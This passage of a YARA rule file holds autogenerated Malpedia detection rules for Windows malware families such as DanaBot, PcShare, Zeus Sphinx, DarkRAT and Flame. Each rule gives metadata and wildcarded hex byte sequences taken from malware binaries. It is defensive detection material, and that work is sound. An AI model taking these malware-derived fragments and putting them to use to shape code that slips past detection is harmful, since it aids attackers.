		license_url = "N/A"
		logic_hash = "f932de22bd95ab60efbbe4e694e46f3915e7f38800c91edc1e731744ddf1fb94"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c744242000000000 ff15???????? 50 ff15???????? 8bf0 85f6 }
		$sequence_1 = { 56 8b35???????? 6a02 6a00 68???????? }
		$sequence_2 = { ffd6 85c0 741a 837c241800 7413 }
		$sequence_3 = { 68???????? c744242000000000 ff15???????? 50 ff15???????? 8bf0 85f6 }
		$sequence_4 = { 8b0d???????? 895008 8a15???????? 89480c }
		$sequence_5 = { 52 6803000080 ff15???????? 85c0 741f }
		$sequence_6 = { 8910 8b15???????? 894804 8b0d???????? 895008 8a15???????? 89480c }
		$sequence_7 = { 85c0 741a 837c241800 7413 }
		$sequence_8 = { ff15???????? 8bf0 85f6 7412 8d542418 }
		$sequence_9 = { 40 50 56 8b35???????? 6a02 6a00 }
	condition:
		7 of them and filesize < 376832
}

rule MALPEDIA_Win_Pcshare_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7a2279a4-a61d-58a7-97d7-adf12e2edb7d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pcshare"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pcshare_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "2997345c16432720db338f1e799076d538b35e40830e87863ce57c0bb0f81979"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 803c3800 75db 8b16 33c0 8a0c3a 5f 84c9 }
		$sequence_1 = { 8db60c2c0610 6a00 50 ff36 e8???????? }
		$sequence_2 = { 8b442450 3bc3 7425 33f6 8b0c06 }
		$sequence_3 = { 81e20000ffff c7401400000000 0bca 89480c 8b4c2440 8b542438 }
		$sequence_4 = { 8b4c242c 85c9 7510 3b5c2430 746b 43 }
		$sequence_5 = { 8b01 03f8 8b5640 8b6e24 52 51 8bcc }
		$sequence_6 = { 8b5b04 03d8 c60300 8b442428 50 }
		$sequence_7 = { 8d0480 8d0c80 8d048a 3d35c83301 0f8cea000000 68???????? }
		$sequence_8 = { 8b16 8d441a02 50 55 ff15???????? 85c0 890437 }
		$sequence_9 = { 8b4548 8b4c241c 8b1408 8b442420 8b4c020c 8d44020c }
	condition:
		7 of them and filesize < 893708
}

rule MALPEDIA_Win_Danabot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d405be96-12b3-5521-8438-92276494b614"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.danabot_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "d0742d8634d1bfb6b6cd9fd56080ad6a40985205234e33c349c6b1c80cbce68a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b701c ad 0f1f00 8b4008 }
		$sequence_1 = { 83f838 730b ba38000000 2bd0 }
		$sequence_2 = { 8d45f8 50 6804010000 8d85e8fdffff 50 }
		$sequence_3 = { e8???????? 8b03 50 8b442440 }
		$sequence_4 = { e8???????? eb0e 8d541d00 8bc6 e8???????? 83c340 8d433f }
		$sequence_5 = { 33c9 ba44000000 e8???????? c745b844000000 33c0 8945c0 }
		$sequence_6 = { e8???????? 50 6aff 8bc6 e8???????? 50 6a01 }
		$sequence_7 = { 8b55f4 8d45f8 e8???????? 8b55f8 8bc7 }
		$sequence_8 = { 6a0e 8b45f8 50 ff15???????? 84c0 7447 33c0 }
		$sequence_9 = { e8???????? 8bd8 8b17 8bc2 85c0 7407 83e804 }
	condition:
		7 of them and filesize < 237568
}

rule MALPEDIA_Win_Mosquito_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "34ccfc9c-1c07-526c-894b-5084961ae1c7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosquito"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mosquito_auto.yar#L1-L177"
		license_url = "N/A"
		logic_hash = "4f8e972330c002e4476c43f04fdf320df70c4455b51cf01f5f99efe08713790b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f7d8 1bc0 83e0b4 83c04c }
		$sequence_1 = { 52 50 6a00 6801c1fd7d }
		$sequence_2 = { 8bfc f3a5 ff942464020000 81c450020000 }
		$sequence_3 = { 894b02 8bcf 8b17 ff5208 }
		$sequence_4 = { 8b750c 57 894dfc 8d5e06 53 e8???????? 8bf8 }
		$sequence_5 = { ff5010 85c0 7436 837dfc00 7409 }
		$sequence_6 = { f3a5 ff942460020000 81c450020000 85c0 }
		$sequence_7 = { e8???????? 6a20 8bf0 e8???????? 8bc8 }
		$sequence_8 = { 51 8b55fc 52 8b45f8 50 ff15???????? 8b4dfc }
		$sequence_9 = { 6801c1fd7d e8???????? 8bd8 eb02 }
		$sequence_10 = { e8???????? 83c40c e8???????? 6a20 }
		$sequence_11 = { 0000 006301 1000 7500 }
		$sequence_12 = { ff15???????? 6a00 56 ff15???????? 8903 }
		$sequence_13 = { 0000 006500 676c 0010 }
		$sequence_14 = { 0000 00645657 8b7dc2 0400 }
		$sequence_15 = { 0000 0032 08804d086440 5e }
		$sequence_16 = { 0000 0001 1001 c550f0 8b8078005900 }
		$sequence_17 = { 0000 0018 a0???????? 57 }
		$sequence_18 = { 0000 00748078 3001 40 }
	condition:
		7 of them and filesize < 1015808
}

rule MALPEDIA_Win_Unidentified_078_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "be01d120-44f2-52e2-a1fa-8d3ce9aeac2c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_078"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_078_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "e6046ec69321f4df1e212f93ebf4122d030058a32e3fabef5fe6e0f5f1575a85"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8412010000 0f8cee000000 80fa0d 0f8421010000 80fa1b 0f8576010000 }
		$sequence_1 = { 0f8d94010000 80fa26 0f8f18010000 80fa23 0f8d82010000 }
		$sequence_2 = { 80fa5c 0f94c1 80fa2f 0f94c2 08d1 }
		$sequence_3 = { 3c18 0f8483000000 3c1c 740d 3c16 }
		$sequence_4 = { e9???????? 80fa0c 0f8412010000 0f8cee000000 80fa0d }
		$sequence_5 = { 89d6 0f883a020000 80fa21 0f8f8f000000 80fa20 0f8d28020000 }
		$sequence_6 = { a910000108 753f a900004011 7521 a900000600 7467 }
		$sequence_7 = { ff15???????? 85c0 740e e8???????? 31d2 89c1 e8???????? }
		$sequence_8 = { b901010000 ff15???????? 85c0 740e }
		$sequence_9 = { 0f8421010000 80fa1b 0f8576010000 ba02000000 e8???????? }
	condition:
		7 of them and filesize < 688128
}

rule MALPEDIA_Win_Deadwood_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b63793f4-2418-5ad7-9269-78c13c5e655b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deadwood_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "37c079b3ff282377b03776f4a709dbdd660de9909aaf5ffcbe15f9216992b56f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b9???????? c645fcc6 e8???????? 68???????? b9???????? c645fcc7 }
		$sequence_1 = { 68f0d8ffff 57 56 e8???????? 89442428 8954242c }
		$sequence_2 = { e8???????? 33c0 e9???????? 8975e4 33c0 39b8a0e34600 0f8491000000 }
		$sequence_3 = { c1f803 57 83f828 0f8e27010000 40 99 83e207 }
		$sequence_4 = { 895e14 385d0c 7409 c745e858f54500 eb06 8b4008 8945e8 }
		$sequence_5 = { 52 c745fc04000000 e8???????? 8d4dd0 8d851cffffff e8???????? }
		$sequence_6 = { 57 897dfc 57 c745c801000000 ff15???????? 8bf8 897dd0 }
		$sequence_7 = { 57 33db 6807020000 8d85f5fdffff 53 50 8bf1 }
		$sequence_8 = { 8bc2 c1e81f 03c2 03f8 83c40c 897d14 85f6 }
		$sequence_9 = { ffd5 8b4c241c 64890d00000000 59 5f 5e 5d }
	condition:
		7 of them and filesize < 1055744
}

rule MALPEDIA_Win_Dusttrap_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6dc8c0b6-03e4-543a-8235-ad282f751715"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dusttrap"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dusttrap_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "99d0157bbc57f142e4b3ca02f7a6fc667dbe8aaf793dc492ed4ef3b4577c5d17"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4133c0 c1e008 33c2 4389848c40ec0200 c1c008 }
		$sequence_1 = { 492bf4 75a9 488b9c24b80a0000 488bbc24a80a0000 4c8bbc24980a0000 4c8bac24a00a0000 488bb424b00a0000 }
		$sequence_2 = { 478b9c8240dc0200 48c1e918 45339c9240e80200 41c1ef08 410fb6d7 4c8d3d5257ffff 45339c8a40d80200 }
		$sequence_3 = { 4c8bf9 33d2 488b0d???????? 8bf5 488b89f8000000 e8???????? }
		$sequence_4 = { 488bbc24a80a0000 4c8bbc24980a0000 4c8bac24a00a0000 488bb424b00a0000 4d85f6 743f 488b0d???????? }
		$sequence_5 = { e8???????? 8bf0 85c0 0f85f4000000 0f57c0 }
		$sequence_6 = { 498d4e30 4533c0 baa00f0000 e8???????? 488b05???????? 4c8d0539810100 488bd5 }
		$sequence_7 = { 448bf6 4903df 4981c600ffffff 33d2 41b820030000 4c03f3 e8???????? }
		$sequence_8 = { 89442420 488b8988010000 448d4204 e8???????? 488b0d???????? 488d8424d0000000 48896c2458 }
		$sequence_9 = { 488b4108 488d4908 488902 488d5208 }
	condition:
		7 of them and filesize < 421888
}

rule MALPEDIA_Win_Ployx_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "61ab771e-15a5-5bf0-85c3-97759fe60e6e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ployx"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ployx_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "cb7aed624d5d0c844199f7121f6160ab6100f3d910b00c22bede0a77fbaeb62d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85a4feffff 68???????? 50 e8???????? 8d85a4feffff 68???????? 50 }
		$sequence_1 = { 81f9???????? 7ce7 5b 8bc6 5f 5e c20400 }
		$sequence_2 = { 83c418 8945f4 85c0 746f 50 e8???????? 50 }
		$sequence_3 = { e8???????? 8bf8 8b4d08 47 47 8d0437 50 }
		$sequence_4 = { 0f8584000000 8d45d4 50 e8???????? }
		$sequence_5 = { 03c1 99 f7f9 8bf2 83c608 85f6 7e42 }
		$sequence_6 = { 33ff 99 59 f7f9 8bc2 03c1 99 }
		$sequence_7 = { aa 53 8d442414 50 ff15???????? 8d442410 68???????? }
		$sequence_8 = { 880c30 40 0fb64dfc 8a89d8302700 880c30 40 0fb6ca }
		$sequence_9 = { 83c42c 0005???????? bd???????? bb04010000 55 53 }
	condition:
		7 of them and filesize < 229376
}

rule MALPEDIA_Win_Bitsran_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c41fb238-3a88-588a-bd64-8c79897f41cf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsran"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bitsran_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "08b2b0624c9fdd6e9f5feb9b1571fe8c6b4f0a45acfb94549c3dcefd928c589e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85c0f6ffff 50 57 e8???????? 33c0 }
		$sequence_1 = { 8bec 53 8bd9 833b00 }
		$sequence_2 = { 85f6 741f 85c9 741b 8b13 52 6a01 }
		$sequence_3 = { eb0c 8a85eefcffff 8a8deffcffff c7830c02000000000000 84c9 740a c7830c02000010000000 }
		$sequence_4 = { 33f6 90 8d85f0fcffff 50 57 }
		$sequence_5 = { 837e0813 7324 b801000000 8bff 8b4e08 8b148d90564100 }
		$sequence_6 = { c70009000000 c747180c5e4100 e9???????? 8b45fc 8b4008 }
		$sequence_7 = { ffb7b0104200 ff15???????? 8987b0104200 83c704 83ff28 72e6 5f }
		$sequence_8 = { ff248d98594000 83ff03 7338 b901000000 837df800 0f848a060000 294df8 }
		$sequence_9 = { 5d c3 8b4d1c c741180c5e4100 eb59 }
	condition:
		7 of them and filesize < 344064
}

rule MALPEDIA_Win_Gcman_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5cac84ae-f553-54c6-a2ab-9c6f483e5d7f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gcman_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "6db65719f209f972eea7f56ad4db94ab537c244677bf2af532fb68763547fbd8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 01d9 89de 31c6 21ce 31c6 0375c4 01f2 }
		$sequence_1 = { 8d45d4 89442408 c744240413000020 8b45e4 890424 e8???????? }
		$sequence_2 = { 89ce 31de 21c6 31de 0375a8 }
		$sequence_3 = { 31c6 0375b4 01f1 81e979f22a0b c1c10e 01d9 }
		$sequence_4 = { 89442408 8b4510 89442404 8b45e8 890424 e8???????? }
		$sequence_5 = { 8b4508 40 0fb600 c0e804 240f 0202 8801 }
		$sequence_6 = { c1e818 8802 8b550c 83c254 8b450c 8b4014 }
		$sequence_7 = { 40 8945f4 eb0c 8d45e0 }
		$sequence_8 = { 01c3 89de 31c6 31d6 0375d4 01f1 81c122619d6d }
		$sequence_9 = { 890424 e8???????? 8b45ec 8945f4 8b45f4 803800 741f }
	condition:
		7 of them and filesize < 81920
}

rule MALPEDIA_Win_Zeus_Sphinx_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cc60ac31-7ae9-5152-95ad-d09a0d909f1a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_sphinx_auto.yar#L1-L157"
		license_url = "N/A"
		logic_hash = "aa5ca92258dc544d26d29bb94ea2e9b532df6b20bb95794e6914a3376629593d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 e8???????? 891c24 89c6 e8???????? 83c410 8d65f4 }
		$sequence_1 = { 50 e8???????? 83c410 e8???????? 8d65f8 }
		$sequence_2 = { 52 53 57 e8???????? ff4750 83c410 }
		$sequence_3 = { 50 e8???????? 83c420 48 }
		$sequence_4 = { 50 e8???????? 83c430 85c0 7e0c }
		$sequence_5 = { 50 e8???????? 83c418 68???????? 68???????? }
		$sequence_6 = { 50 e8???????? 84c0 745f 8d442414 }
		$sequence_7 = { 50 e8???????? 83c414 68???????? e8???????? c70424???????? }
		$sequence_8 = { 01fc eb98 035e14 8ade }
		$sequence_9 = { 010d???????? 60 5a 98 }
		$sequence_10 = { 0303 50 ff550c 8b3e }
		$sequence_11 = { 020a 42 1af6 af }
		$sequence_12 = { 0162c9 cf 0c06 3c3e }
		$sequence_13 = { 003b c09bdbe23ea11c 695600663ec700 de07 }
		$sequence_14 = { 010c02 3bf7 0f85f0f50000 e9???????? }
		$sequence_15 = { 0008 d7 9f b2d3 }
	condition:
		7 of them and filesize < 3268608
}

rule MALPEDIA_Win_Darkrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "23e37317-8228-5897-b34f-5636920d388d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkrat_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "c66a4bb6e3f6849fe471570a3e9ab067b886ef3521f3b46d24057084154fb02f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c408 837b100a 8b7dd4 0f8514ffffff 8b55ec }
		$sequence_1 = { e8???????? 83c408 c745e800000000 8d4dd8 }
		$sequence_2 = { 51 56 e8???????? 83c40c c6043e00 eb17 57 }
		$sequence_3 = { 72bd 8b4d08 42 8bc1 81fa00100000 72a5 8b49fc }
		$sequence_4 = { 7435 6a13 68???????? 8bcb }
		$sequence_5 = { 85c0 7527 6a0c 68???????? 8bcb e8???????? }
		$sequence_6 = { c645fc01 8b45cc 83f810 7227 8d4801 }
		$sequence_7 = { c7856cffffff0f000000 c68558ffffff00 6880000000 8d8570ffffff c745fc01000000 }
		$sequence_8 = { c745d400000000 e8???????? 50 e8???????? 83c408 c745e800000000 8d4dd8 }
		$sequence_9 = { 8b4314 0f43d6 8b7b10 2bc7 8b4dc8 3bc8 7726 }
	condition:
		7 of them and filesize < 884736
}

rule MALPEDIA_Win_Flame_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9866d719-20ba-56a9-89a4-346e1b2eca8d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flame"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flame_auto.yar#L1-L147"
		license_url = "N/A"
		logic_hash = "131f2d5e5a8a0cf24fae537b61affbb5c92eae0dfe8bde03b44be173be5d9d24"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83f901 7415 e8???????? c70016000000 }
		$sequence_1 = { 85c9 741a 83f901 7415 }
		$sequence_2 = { 7573 895dec 8d45ec 50 }
		$sequence_3 = { 7428 498b5610 8b4f18 8bc3 }
		$sequence_4 = { 7428 448865dc 41c1ec08 488d55dc 448865dd 8b4f18 }
		$sequence_5 = { 8d45dc 33f6 6a14 50 8975f4 8975fc }
		$sequence_6 = { ffd7 90 eb00 4883c430 5f 5e }
		$sequence_7 = { 7429 488b4c2428 488d542450 41b8df010000 }
		$sequence_8 = { 8bce 89450c e8???????? 8b06 57 }
		$sequence_9 = { 894e10 8d4df0 51 6a40 6a0f 50 }
		$sequence_10 = { 74ac 68???????? ff35???????? e8???????? 59 59 a3???????? }
		$sequence_11 = { 6a08 59 ff7510 33c0 ff750c 8d7de0 }
		$sequence_12 = { 7428 41b918000000 4533c0 488bd0 }
		$sequence_13 = { 8bbb98000000 440fb7c5 4923c7 488bce 4903c4 }
	condition:
		7 of them and filesize < 1676288
}

rule MALPEDIA_Win_Quan_Pin_Loader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1fa8c8cd-f609-5225-baa7-0fa410d45d6c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quan_pin_loader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quan_pin_loader_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "4f7da9c0c4a15d34fa1ce0c27eb780960020faa43be4d9d68fb3c3bdcd21f6fc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4d08 e8???????? 85c0 750f 0fb703 6683f80d 7406 }
		$sequence_1 = { 83630800 488d0524c10400 488903 eb3a 41b804000000 488d15d6ba0400 e8???????? }
		$sequence_2 = { 4183f904 7410 4183f906 0f85c8fdffff 0fbaea0a eb0a 0fbaea08 }
		$sequence_3 = { 84d2 7418 c6415401 d1e8 eb14 488d1524a80300 b806000000 }
		$sequence_4 = { 4d8bc6 418bd7 488bcf e8???????? 8bf0 85c0 0f8850010000 }
		$sequence_5 = { 488b5d60 488d4c2430 e8???????? 488d4c2420 e8???????? 4883eb20 }
		$sequence_6 = { b904010000 660b0d???????? 66890d???????? 480fbae71e 7224 0fb7c5 ba0f000000 }
		$sequence_7 = { 488b5008 488b4810 482bca 48c1f902 493bcd }
		$sequence_8 = { 488bcb 0f2845e0 660f7f45e0 e8???????? e9???????? c745e805000000 488d0539ef0400 }
		$sequence_9 = { 41b907000000 4c8bc3 8bd5 ff5018 8bf8 8b442478 }
	condition:
		7 of them and filesize < 1711104
}

rule MALPEDIA_Win_Badflick_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1951cb0e-a0c5-59e1-834b-292c5e2f8f2a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badflick_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "49a5abd3151b3eb74bfd8f8adfc99feeac10f3374c938c8bdf06a9faa4f988f8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bd8 ff37 ff15???????? 50 e8???????? 50 ff7508 }
		$sequence_1 = { ff35???????? ff750c ff75fc ff33 e8???????? 8b7d10 83c418 }
		$sequence_2 = { 55 8bec ff7508 6a2b }
		$sequence_3 = { 807d1000 59 5f 5e }
		$sequence_4 = { be00f00000 56 e8???????? 59 53 8d4df8 51 }
		$sequence_5 = { 8b4904 03c8 81f9fe34012c 7509 83f805 }
		$sequence_6 = { 6a3d e8???????? 8bf0 8a4508 59 59 884605 }
		$sequence_7 = { a5 a5 eb02 33c0 50 6a00 }
		$sequence_8 = { 8d8548f3ffff 50 ffd7 8d856cf9ffff 50 8d8560f7ffff }
		$sequence_9 = { a5 a5 e8???????? 59 6a00 }
	condition:
		7 of them and filesize < 81920
}

rule MALPEDIA_Win_Godzilla_Loader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "be70f5e8-f454-5cf5-9a53-9b79088ce98e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.godzilla_loader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.godzilla_loader_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "192fb36ce99cb3fd5c305739a3550413e1aac5f25669dd240cdac235353c820b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
